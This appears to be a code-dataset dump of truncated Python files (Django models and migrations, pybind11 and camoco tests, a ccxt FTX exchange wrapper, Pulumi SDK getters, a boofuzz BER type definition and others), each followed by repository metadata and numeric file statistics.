8e58dc47fc14d8ac5a40b16006115fb2e91c16b0
[ "BSD-3-Clause" ]
586
2015-05-01T10:39:22.000Z
2022-03-26T05:00:53.000Z
background_task/settings.py
radomirvrana/django-background-tasks
8e58dc47fc14d8ac5a40b16006115fb2e91c16b0
[ "BSD-3-Clause" ]
268
2015-04-30T21:33:14.000Z
2022-03-28T22:39:19.000Z
background_task/settings.py
radomirvrana/django-background-tasks
8e58dc47fc14d8ac5a40b16006115fb2e91c16b0
[ "BSD-3-Clause" ]
167
2015-05-04T11:08:25.000Z
2022-03-31T15:48:31.000Z
# -*- coding: utf-8 -*- import multiprocessing from django.conf import settings try: cpu_count = multiprocessing.cpu_count() except Exception: cpu_count = 1 class AppSettings(object): """ """ @property def MAX_ATTEMPTS(self): """Control how many times a task will be attempted.""" ...
30.951613
170
0.661803
240
1,919
5.129167
0.4
0.090983
0.085297
0.101543
0.337937
0.240455
0.240455
0.240455
0.240455
0.240455
0
0.009003
0.247525
1,919
61
171
31.459016
0.842798
0.346535
0
0.205882
0
0
0.102146
0.074678
0
0
0
0
0
1
0.205882
false
0
0.058824
0
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
6a617f7532f933ee657dbab46842af13208614c1
7,713
py
Python
deps/pybind11/tests/test_smart_ptr.py
Mistobaan/coremltools
e5ce33c6396077c0b267180a92573355a8ab53eb
[ "BSD-3-Clause" ]
11,356
2017-12-08T19:42:32.000Z
2022-03-31T16:55:25.000Z
deps/pybind11/tests/test_smart_ptr.py
Mistobaan/coremltools
e5ce33c6396077c0b267180a92573355a8ab53eb
[ "BSD-3-Clause" ]
2,402
2017-12-08T22:31:01.000Z
2022-03-28T19:25:52.000Z
deps/pybind11/tests/test_smart_ptr.py
Mistobaan/coremltools
e5ce33c6396077c0b267180a92573355a8ab53eb
[ "BSD-3-Clause" ]
1,343
2017-12-08T19:47:19.000Z
2022-03-26T11:31:36.000Z
import pytest from pybind11_tests import ConstructorStats def test_smart_ptr(capture): # Object1 from pybind11_tests import (MyObject1, make_object_1, make_object_2, print_object_1, print_object_2, print_object_3, print_object_4) for i, o in enumerate([make_object_1(), mak...
36.042056
97
0.663425
1,038
7,713
4.689788
0.11079
0.096138
0.036976
0.040674
0.636401
0.618324
0.569022
0.532046
0.486442
0.471652
0
0.038853
0.235836
7,713
213
98
36.211268
0.787072
0.121094
0
0.521212
0
0
0.038946
0
0
0
0
0
0.460606
1
0.036364
false
0
0.072727
0
0.109091
0.181818
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
1
6a64854b1537f12306711b466db18bdf35caeade
2,762
py
Python
backend/wallet/models.py
crowdbotics-apps/logintest-29319
45e9ec4fa8fce8e04caa98e5bc13ebfed81baaf3
[ "FTL", "AML", "RSA-MD" ]
null
null
null
backend/wallet/models.py
crowdbotics-apps/logintest-29319
45e9ec4fa8fce8e04caa98e5bc13ebfed81baaf3
[ "FTL", "AML", "RSA-MD" ]
null
null
null
backend/wallet/models.py
crowdbotics-apps/logintest-29319
45e9ec4fa8fce8e04caa98e5bc13ebfed81baaf3
[ "FTL", "AML", "RSA-MD" ]
null
null
null
from django.conf import settings from django.db import models class TaskerWallet(models.Model): "Generated Model" tasker = models.OneToOneField( "task_profile.TaskerProfile", on_delete=models.CASCADE, related_name="taskerwallet_tasker", ) balance = models.FloatField( ma...
25.574074
57
0.660029
264
2,762
6.685606
0.242424
0.036261
0.063456
0.070822
0.545609
0.545609
0.473088
0.473088
0.385269
0.303683
0
0.007229
0.248733
2,762
107
58
25.813084
0.843373
0.038016
0
0.478723
1
0
0.170687
0.107456
0
0
0
0
0
1
0
false
0
0.021277
0
0.329787
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6a6c671ec5869697018698ceb596d7d22ee72ddd
1,205
py
Python
var/spack/repos/builtin/packages/util-macros/package.py
padamson/spack
d3f67a48552691b4846ccc4a10f76740b154090c
[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]
2
2021-03-05T10:54:32.000Z
2021-03-05T14:14:52.000Z
var/spack/repos/builtin/packages/util-macros/package.py
padamson/spack
d3f67a48552691b4846ccc4a10f76740b154090c
[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]
32
2020-12-15T17:29:20.000Z
2022-03-21T15:08:31.000Z
var/spack/repos/builtin/packages/util-macros/package.py
padamson/spack
d3f67a48552691b4846ccc4a10f76740b154090c
[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]
2
2021-07-19T20:31:27.000Z
2021-07-19T21:14:14.000Z
# Copyright 2013-2021 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) from spack import * class UtilMacros(AutotoolsPackage, XorgPackage): """This is a set of autoconf macros used by the...
44.62963
96
0.768465
137
1,205
6.70073
0.678832
0.01634
0.043573
0
0
0
0
0
0
0
0
0.2
0.13278
1,205
26
97
46.346154
0.678469
0.3361
0
0
0
0
0.493573
0.368895
0
0
0
0
0
1
0.090909
false
0
0.090909
0
0.545455
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
6a7033037572cb5830d2f98eae08ccd1823d9bef
585
py
Python
bin/fmtutil/utils.py
incognitoRepo/youtube-dl
e9dbbbd87e200d37f15531973fe653c3573cfd0b
[ "Unlicense" ]
null
null
null
bin/fmtutil/utils.py
incognitoRepo/youtube-dl
e9dbbbd87e200d37f15531973fe653c3573cfd0b
[ "Unlicense" ]
null
null
null
bin/fmtutil/utils.py
incognitoRepo/youtube-dl
e9dbbbd87e200d37f15531973fe653c3573cfd0b
[ "Unlicense" ]
null
null
null
class hof(object): def __init__(self, file_name, method): self.file_obj = open(file_name, method) def __enter__(self): return self.file_obj def __exit__(self, type, value, traceback): self.file_obj.close() from contextlib import contextmanager from operator import methodcaller @con...
26.590909
47
0.654701
74
585
4.945946
0.594595
0.087432
0.090164
0
0
0
0
0
0
0
0
0
0.246154
585
21
48
27.857143
0.829932
0.107692
0
0
0
0
0
0
0
0
0
0
0
1
0.235294
false
0
0.117647
0.058824
0.470588
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
6a7047b351179a318ba279fa154f4a2509a1a140
1,925
py
Python
boofuzz/boofuzz/legos/ber.py
youngcraft/boofuzz-modbus
bfeb48345b56797b48079e0620e7b06b27085789
[ "Apache-2.0" ]
23
2018-08-11T12:12:33.000Z
2022-01-28T10:22:49.000Z
boofuzz/boofuzz/legos/ber.py
ctf-fuzzer/boofuzz-modbus
bfeb48345b56797b48079e0620e7b06b27085789
[ "Apache-2.0" ]
2
2018-07-24T15:15:40.000Z
2020-07-12T13:06:56.000Z
boofuzz/boofuzz/legos/ber.py
ctf-fuzzer/boofuzz-modbus
bfeb48345b56797b48079e0620e7b06b27085789
[ "Apache-2.0" ]
10
2018-04-02T13:21:36.000Z
2022-01-17T09:20:27.000Z
# ASN.1 / BER TYPES (http://luca.ntop.org/Teaching/Appunti/asn1.html) from __future__ import absolute_import from .. import blocks, primitives, sex from ..constants import BIG_ENDIAN class String(blocks.Block): """ [0x04][0x84][dword length][string] Where: 0x04 = string 0x84 = length is...
25
88
0.615065
233
1,925
4.922747
0.32618
0.047079
0.015693
0.024412
0.470793
0.418483
0.418483
0.418483
0.418483
0.33653
0
0.02577
0.274286
1,925
76
89
25.328947
0.795276
0.182857
0
0.514286
0
0
0.069307
0
0
0
0
0.013158
0
1
0.114286
false
0
0.085714
0
0.314286
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
6a720e781c391f2d2695a5e1d4e7412956611cd0
345
py
Python
bookmark/models.py
mairoo/book-kimseokhun
f13ea527df50fe4889b0d405f273e505da2677f0
[ "MIT" ]
null
null
null
bookmark/models.py
mairoo/book-kimseokhun
f13ea527df50fe4889b0d405f273e505da2677f0
[ "MIT" ]
null
null
null
bookmark/models.py
mairoo/book-kimseokhun
f13ea527df50fe4889b0d405f273e505da2677f0
[ "MIT" ]
null
null
null
from django.db import models # Create your models here. class Bookmark(models.Model): title = models.CharField(max_length=100, blank=True, null=True) url = models.URLField('URL', unique=True) class Meta: verbose_name = 'Bookmark' verbose_name_plural = 'Bookmarks' def __str__(self): ...
23
67
0.678261
44
345
5.136364
0.704545
0.097345
0
0
0
0
0
0
0
0
0
0.011152
0.22029
345
14
68
24.642857
0.828996
0.069565
0
0
0
0
0.062696
0
0
0
0
0
0
1
0.111111
false
0
0.111111
0.111111
0.777778
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
1
0
0
0
1
6a74b5982f2d371bd6285eeba3bc7b2725b62cb9
466
py
Python
attendance/migrations/0005_auto_20170920_0311.py
mritunjayagarwal/school-management-system
1cb42345ac793d80d4a676c47f0a85c197b889ae
[ "MIT" ]
null
null
null
attendance/migrations/0005_auto_20170920_0311.py
mritunjayagarwal/school-management-system
1cb42345ac793d80d4a676c47f0a85c197b889ae
[ "MIT" ]
null
null
null
attendance/migrations/0005_auto_20170920_0311.py
mritunjayagarwal/school-management-system
1cb42345ac793d80d4a676c47f0a85c197b889ae
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by Django 1.11.2 on 2017-09-19 21:41 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('attendance', '0004_auto_20170920_0302'), ] operations = [ migrations.AlterF...
22.190476
51
0.628755
51
466
5.529412
0.823529
0
0
0
0
0
0
0
0
0
0
0.104046
0.257511
466
20
52
23.3
0.710983
0.145923
0
0
1
0
0.141772
0.058228
0
0
0
0
0
1
0
false
0
0.153846
0
0.384615
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6a75fc8dd198c84ba8dfeb7668ceeecb8261deaa
1,561
py
Python
tests/test_FileManager.py
anitavincent/simple_crawler
0e84bb9009e81c96ecff24621c3d3d3286c94f6d
[ "MIT" ]
null
null
null
tests/test_FileManager.py
anitavincent/simple_crawler
0e84bb9009e81c96ecff24621c3d3d3286c94f6d
[ "MIT" ]
null
null
null
tests/test_FileManager.py
anitavincent/simple_crawler
0e84bb9009e81c96ecff24621c3d3d3286c94f6d
[ "MIT" ]
null
null
null
from unittest import TestCase from filemanager import FileManager class FileManagerTest(TestCase): def setUp(self): self.manager = FileManager("products.csv", "urls.db") def test_change_products_result(self): self.manager.clear_result() products = self.manager.get_product_names_set()...
32.520833
74
0.664958
193
1,561
5.119171
0.227979
0.222672
0.08502
0.076923
0.588057
0.505061
0.42915
0.303644
0.224696
0.172065
0
0
0.206278
1,561
47
75
33.212766
0.797417
0
0
0.333333
0
0
0.109545
0
0
0
0
0
0.181818
1
0.090909
false
0
0.060606
0
0.181818
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6a764c27d4c1d1b16088871c202be1f6164f5ab2
2,217
py
Python
django-rest-framework-fast/characters/migrations/0001_squashed_0003_auto_20190416_1625.py
mervatkheir/kite-python-blog-post-code
9a331e5d327cd27c6ecd72926f3e74afd252efb5
[ "MIT" ]
238
2018-10-10T18:50:40.000Z
2022-02-09T21:26:24.000Z
django-rest-framework-fast/characters/migrations/0001_squashed_0003_auto_20190416_1625.py
mrrizal/kite-python-blog-post-code
597f2d75b2ad5dda97e9b19f6e9c7195642e1739
[ "MIT" ]
38
2019-12-04T22:42:45.000Z
2022-03-12T00:04:57.000Z
django-rest-framework-fast/characters/migrations/0001_squashed_0003_auto_20190416_1625.py
mrrizal/kite-python-blog-post-code
597f2d75b2ad5dda97e9b19f6e9c7195642e1739
[ "MIT" ]
154
2018-11-11T22:48:09.000Z
2022-03-22T07:12:18.000Z
# Generated by Django 2.2 on 2019-04-16 19:59 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Line', fields=[ ...
43.470588
222
0.579161
219
2,217
5.739726
0.324201
0.031822
0.044551
0.070008
0.59825
0.505171
0.505171
0.505171
0.505171
0.505171
0
0.015951
0.264772
2,217
50
223
44.34
0.755215
0.019396
0
0.55814
1
0
0.130755
0
0
0
0
0
0
1
0
false
0
0.046512
0
0.139535
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6a77c3941f3561d8bb8ef180a5d2b7aaaa3ca385
2,070
py
Python
meiduo_mall/apps/meiduo_admin/views/spu.py
Gh-Helina/Git_meiduo
42a7edf7ca3b43b59955505db854c73c6edf1f24
[ "MIT" ]
null
null
null
meiduo_mall/apps/meiduo_admin/views/spu.py
Gh-Helina/Git_meiduo
42a7edf7ca3b43b59955505db854c73c6edf1f24
[ "MIT" ]
null
null
null
meiduo_mall/apps/meiduo_admin/views/spu.py
Gh-Helina/Git_meiduo
42a7edf7ca3b43b59955505db854c73c6edf1f24
[ "MIT" ]
null
null
null
from fdfs_client.client import Fdfs_client from rest_framework.permissions import DjangoModelPermissions from rest_framework.response import Response from rest_framework.viewsets import ModelViewSet from apps.goods.models import SPU, Brand, GoodsCategory from apps.meiduo_admin.serializers.SpuSerializer import SPUGoodSe...
35.084746
101
0.677778
225
2,070
6.137778
0.466667
0.050688
0.03693
0.041274
0.247647
0.195511
0.195511
0.124547
0.098479
0.098479
0
0.012531
0.228986
2,070
59
102
35.084746
0.852757
0.115942
0
0.147059
0
0
0.086645
0.038079
0
0
0
0
0
1
0.117647
false
0
0.235294
0
0.647059
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
6a78e3e1a14456545a48e3b87c3caadff35e2103
74,066
py
Python
invest_natcap/recreation/recreation_server_core.py
phargogh/invest-natcap.invest-3
ee96055a4fa034d9a95fa8ccc6259ab03264e6c1
[ "BSD-3-Clause" ]
null
null
null
invest_natcap/recreation/recreation_server_core.py
phargogh/invest-natcap.invest-3
ee96055a4fa034d9a95fa8ccc6259ab03264e6c1
[ "BSD-3-Clause" ]
null
null
null
invest_natcap/recreation/recreation_server_core.py
phargogh/invest-natcap.invest-3
ee96055a4fa034d9a95fa8ccc6259ab03264e6c1
[ "BSD-3-Clause" ]
null
null
null
""" recreation_server_core """ import os import math from urllib2 import urlopen import logging from osgeo import ogr, osr, gdal from psycopg2.extensions import register_adapter, AsIs logging.basicConfig(format='%(asctime)s %(name)-20s %(levelname)-8s \ %(message)s', level=logging.DEBUG, datefmt='%m/%d/%Y %H:%M:%S ...
33.079946
123
0.573394
9,253
74,066
4.448287
0.075003
0.031487
0.020845
0.034086
0.598639
0.549101
0.50413
0.451895
0.419849
0.401069
0
0.006498
0.2998
74,066
2,238
124
33.094727
0.787162
0.042368
0
0.396144
0
0.001753
0.249366
0.025627
0.001753
0
0
0
0
0
null
null
0
0.007011
null
null
0.000876
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
6a795a9a8c284cfc33eddca5c43b70c181c561a4
94,349
py
Python
python/ccxt/ftx.py
fernandocalsa/ccxt
9284fbf6ba1a58fffbf7f3cd4fa8b919e974850d
[ "MIT" ]
null
null
null
python/ccxt/ftx.py
fernandocalsa/ccxt
9284fbf6ba1a58fffbf7f3cd4fa8b919e974850d
[ "MIT" ]
null
null
null
python/ccxt/ftx.py
fernandocalsa/ccxt
9284fbf6ba1a58fffbf7f3cd4fa8b919e974850d
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # PLEASE DO NOT EDIT THIS FILE, IT IS GENERATED AND WILL BE OVERWRITTEN: # https://github.com/ccxt/ccxt/blob/master/CONTRIBUTING.md#how-to-contribute-code from ccxt.base.exchange import Exchange # ----------------------------------------------------------------------------- try: basestri...
41.951534
175
0.463269
7,538
94,349
5.715044
0.135182
0.034355
0.028923
0.013162
0.441179
0.395636
0.349814
0.315181
0.283055
0.255107
0
0.063911
0.410942
94,349
2,248
176
41.970196
0.711211
0.301572
0
0.309227
1
0.000831
0.147895
0.036175
0
0
0
0
0
1
0.039069
false
0.001663
0.014131
0.001663
0.093101
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6a7e1c81f413d5be0c584cd02216a36b17bb28d8
852
py
Python
config.py
SaeedNajafi/seq2seq-transliteration
9a3fc9c3bd9d2be12176024d50de8ae11351f7cc
[ "MIT" ]
null
null
null
config.py
SaeedNajafi/seq2seq-transliteration
9a3fc9c3bd9d2be12176024d50de8ae11351f7cc
[ "MIT" ]
null
null
null
config.py
SaeedNajafi/seq2seq-transliteration
9a3fc9c3bd9d2be12176024d50de8ae11351f7cc
[ "MIT" ]
null
null
null
class Configuration(object): """Model hyper parameters and data information""" """ Path to different files """ source_alphabet = './data/EnPe/source.txt' target_alphabet = './data/EnPe/target.txt' train_set = './data/EnPe/mytrain.txt' dev_set = './data/EnPe/mydev.txt' test_set = './data/EnP...
23.027027
53
0.603286
110
852
4.5
0.609091
0.080808
0.066667
0
0
0
0
0
0
0
0
0.049285
0.261737
852
36
54
23.666667
0.737679
0.205399
0
0
0
0
0.182867
0.181219
0
0
0
0
0
1
0
false
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
6a87875bf5516c39a7543c01ad3eedfcd9e2ffa0
5,283
py
Python
vespene/views/__init__.py
Geethree/vespene
af64131b55a5f088d720bcf939ce7b1faabb5f4c
[ "Apache-2.0" ]
1
2019-01-26T12:05:45.000Z
2019-01-26T12:05:45.000Z
vespene/views/__init__.py
Geethree/vespene
af64131b55a5f088d720bcf939ce7b1faabb5f4c
[ "Apache-2.0" ]
92
2019-06-03T18:52:41.000Z
2021-04-12T12:24:31.000Z
vespene/views/__init__.py
Geethree/vespene
af64131b55a5f088d720bcf939ce7b1faabb5f4c
[ "Apache-2.0" ]
null
null
null
# Copyright 2018, Michael DeHaan LLC # License: Apache License Version 2.0 + Commons Clause # -------------------------------------------------------------------------- # __init__.py - common code for all view subclasses and a few top level # view routes, which we want to minimize # ------------------------------...
35.938776
125
0.615559
606
5,283
5.310231
0.356436
0.040398
0.058111
0.06215
0.236793
0.166563
0.113735
0.113735
0.113735
0.113735
0
0.001751
0.243233
5,283
147
126
35.938776
0.803152
0.428166
0
0.128571
0
0
0.046434
0
0
0
0
0
0
1
0.171429
false
0
0.142857
0.014286
0.642857
0.014286
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
6a881b66bc0d8a5b000d10e6c524068aa42ae7f1
9,824
py
Python
sdk/python/pulumi_azure_nextgen/network/v20190401/get_public_ip_prefix.py
test-wiz-sec/pulumi-azure-nextgen
20a695af0d020b34b0f1c336e1b69702755174cc
[ "Apache-2.0" ]
null
null
null
sdk/python/pulumi_azure_nextgen/network/v20190401/get_public_ip_prefix.py
test-wiz-sec/pulumi-azure-nextgen
20a695af0d020b34b0f1c336e1b69702755174cc
[ "Apache-2.0" ]
null
null
null
sdk/python/pulumi_azure_nextgen/network/v20190401/get_public_ip_prefix.py
test-wiz-sec/pulumi-azure-nextgen
20a695af0d020b34b0f1c336e1b69702755174cc
[ "Apache-2.0" ]
null
null
null
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union from ... import _utilities, _tables from...
39.139442
307
0.662765
1,137
9,824
5.415128
0.140721
0.049375
0.03898
0.073088
0.315738
0.181907
0.102323
0.022089
0.016242
0.016242
0
0.001207
0.241144
9,824
250
308
39.296
0.824681
0.121641
0
0.130952
1
0
0.173222
0.060694
0
0
0
0
0
1
0.107143
false
0
0.035714
0
0.255952
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6a8b3c39906c589b2b6090843132e3f0619ff839
3,245
py
Python
0.13/_downloads/plot_left_cerebellum_volume_source.py
drammock/mne-tools.github.io
5d3a104d174255644d8d5335f58036e32695e85d
[ "BSD-3-Clause" ]
4
2017-10-25T18:42:30.000Z
2019-06-15T06:48:10.000Z
examples/forward/plot_left_cerebellum_volume_source.py
alexandrebarachant/mne-python
b54e38c9bbac38c6f53747075b5bad2936fbc5b9
[ "BSD-3-Clause" ]
2
2019-08-14T06:21:15.000Z
2020-10-29T19:54:56.000Z
examples/forward/plot_left_cerebellum_volume_source.py
alexandrebarachant/mne-python
b54e38c9bbac38c6f53747075b5bad2936fbc5b9
[ "BSD-3-Clause" ]
2
2018-04-02T06:45:11.000Z
2018-07-16T23:39:02.000Z
""" ============================================== Generate a left cerebellum volume source space ============================================== Generate a volume source space of the left cerebellum and plot its vertices relative to the left cortical surface source space and the freesurfer segmentation file. """ # A...
33.453608
79
0.640062
442
3,245
4.567873
0.361991
0.054482
0.0421
0.017831
0.090144
0.036652
0.036652
0.036652
0
0
0
0.031513
0.159014
3,245
96
80
33.802083
0.708318
0.330354
0
0
1
0
0.078494
0.044033
0
0
0
0
0
1
0
false
0
0.142857
0
0.142857
0.028571
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6a8e8e5743a3ba0a2896faa63f1112abff4bdade
8,465
py
Python
geopyspark/geotrellis/protobuf/extentMessages_pb2.py
geotrellis/geotrellis-python
97bcb17a56ed4b4059e2f0dbab97706562cac692
[ "Apache-2.0" ]
182
2017-01-26T18:11:57.000Z
2021-09-07T07:39:52.000Z
geopyspark/geotrellis/protobuf/extentMessages_pb2.py
geotrellis/geotrellis-python
97bcb17a56ed4b4059e2f0dbab97706562cac692
[ "Apache-2.0" ]
428
2016-12-21T14:53:43.000Z
2019-07-14T09:33:54.000Z
geopyspark/geotrellis/protobuf/extentMessages_pb2.py
geotrellis/geotrellis-python
97bcb17a56ed4b4059e2f0dbab97706562cac692
[ "Apache-2.0" ]
66
2017-01-05T19:16:15.000Z
2022-02-23T12:49:50.000Z
# Generated by the protocol buffer compiler. DO NOT EDIT! # source: extentMessages.proto import sys _b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1')) from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as...
35.270833
692
0.746722
1,018
8,465
5.941061
0.152259
0.048942
0.034722
0.029101
0.585979
0.544147
0.533565
0.509094
0.502811
0.46379
0
0.038817
0.129592
8,465
239
693
35.41841
0.78203
0.048317
0
0.629808
1
0.009615
0.128495
0.079906
0
0
0
0
0
1
0
false
0
0.028846
0
0.028846
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6a9110170f2a19bd8453d08c914a2fc5087a0079
269
py
Python
bandstructure/lattice/lieblattice.py
sharkdp/bandstructure
b74b688afc2b15b20ec1a8ebcf72ba8699b6bf96
[ "MIT" ]
7
2016-12-23T11:19:35.000Z
2021-06-08T07:43:16.000Z
bandstructure/lattice/lieblattice.py
sharkdp/bandstructure
b74b688afc2b15b20ec1a8ebcf72ba8699b6bf96
[ "MIT" ]
null
null
null
bandstructure/lattice/lieblattice.py
sharkdp/bandstructure
b74b688afc2b15b20ec1a8ebcf72ba8699b6bf96
[ "MIT" ]
12
2017-09-28T04:14:03.000Z
2022-02-16T06:55:41.000Z
from .lattice import Lattice class LiebLattice(Lattice): def initialize(self): self.addLatticevector([2, 0]) self.addLatticevector([0, 2]) self.addBasisvector([0, 0]) self.addBasisvector([1, 0]) self.addBasisvector([0, 1])
24.454545
37
0.624535
30
269
5.6
0.433333
0.089286
0.22619
0
0
0
0
0
0
0
0
0.04878
0.237918
269
10
38
26.9
0.770732
0
0
0
0
0
0
0
0
0
0
0
0
1
0.125
false
0
0.125
0
0.375
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6a9466564f90594c19a1fbc8fac8f909dd93fbfc
8,527
py
Python
scripts/variance_reduction.py
JannikWirtz/importance-sampling-diagnostics
9c9cab2ac91081ae2b64f99891504155057c09e3
[ "MIT" ]
289
2017-08-03T17:30:12.000Z
2022-03-30T12:04:21.000Z
scripts/variance_reduction.py
JannikWirtz/importance-sampling-diagnostics
9c9cab2ac91081ae2b64f99891504155057c09e3
[ "MIT" ]
34
2017-08-03T21:47:49.000Z
2021-06-16T17:59:45.000Z
scripts/variance_reduction.py
JannikWirtz/importance-sampling-diagnostics
9c9cab2ac91081ae2b64f99891504155057c09e3
[ "MIT" ]
58
2017-08-06T01:10:24.000Z
2022-03-07T00:30:24.000Z
#!/usr/bin/env python # # Copyright (c) 2017 Idiap Research Institute, http://www.idiap.ch/ # Written by Angelos Katharopoulos <angelos.katharopoulos@idiap.ch> # import argparse import os from os import path from keras import backend as K from keras.losses import get as get_loss from keras.utils.generic_utils import ...
32.056391
84
0.587545
951
8,527
5.093586
0.239748
0.02787
0.035095
0.019818
0.264657
0.222956
0.222956
0.222956
0.222956
0.222956
0
0.021887
0.308784
8,527
265
85
32.177358
0.799966
0.023572
0
0.33913
0
0
0.127678
0.012976
0
0
0
0
0
0
null
null
0
0.065217
null
null
0.021739
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
6a94acea4eb11140ee3a8867ed33d327be2da2cb
2,121
py
Python
sdk/python/pulumi_aws/outposts/get_sites.py
alexbowers/pulumi-aws
7dbdb03b1e4f7c0d51d5b5d17233ff4465c3eff5
[ "ECL-2.0", "Apache-2.0" ]
260
2018-06-18T14:57:00.000Z
2022-03-29T11:41:03.000Z
sdk/python/pulumi_aws/outposts/get_sites.py
alexbowers/pulumi-aws
7dbdb03b1e4f7c0d51d5b5d17233ff4465c3eff5
[ "ECL-2.0", "Apache-2.0" ]
1,154
2018-06-19T20:38:20.000Z
2022-03-31T19:48:16.000Z
sdk/python/pulumi_aws/outposts/get_sites.py
alexbowers/pulumi-aws
7dbdb03b1e4f7c0d51d5b5d17233ff4465c3eff5
[ "ECL-2.0", "Apache-2.0" ]
115
2018-06-28T03:20:27.000Z
2022-03-29T11:41:06.000Z
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import...
26.5125
116
0.634606
248
2,121
5.217742
0.443548
0.037094
0.027821
0.037094
0
0
0
0
0
0
0
0.000636
0.25884
2,121
79
117
26.848101
0.822519
0.237624
0
0.090909
1
0
0.103106
0.03503
0
0
0
0
0
1
0.113636
false
0
0.113636
0
0.363636
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6a9fa4c83bb207d3a49d41bf9efb14bad5a2d16c
2,175
py
Python
tests/test_Term.py
jonahcullen/Camoco
2e95950f996329e27c00e5155e3768c0de9b8b7b
[ "MIT" ]
19
2017-12-20T16:25:44.000Z
2021-09-09T13:59:06.000Z
tests/test_Term.py
jonahcullen/Camoco
2e95950f996329e27c00e5155e3768c0de9b8b7b
[ "MIT" ]
64
2015-02-13T15:51:48.000Z
2017-12-05T19:29:07.000Z
tests/test_Term.py
jonahcullen/Camoco
2e95950f996329e27c00e5155e3768c0de9b8b7b
[ "MIT" ]
20
2018-04-01T03:42:12.000Z
2021-06-17T20:01:05.000Z
#!/usr/bin/python3 import pytest from camoco import Term from camoco import Locus @pytest.fixture def testTerm(): loci = [ # Overlapping Loci, No windows Locus(1,100,500,score=0), Locus(1,400,700,score=5), # Loci with Overlapping windows Locus(2,100,200,window=100,score=0), ...
30.208333
82
0.681839
321
2,175
4.504673
0.255452
0.058091
0.058783
0.069156
0.130014
0.118949
0.06639
0.06639
0.06639
0.06639
0
0.079065
0.174253
2,175
71
83
30.633803
0.726058
0.068506
0
0
0
0
0.027228
0
0
0
0
0
0.294118
1
0.254902
false
0
0.058824
0
0.333333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
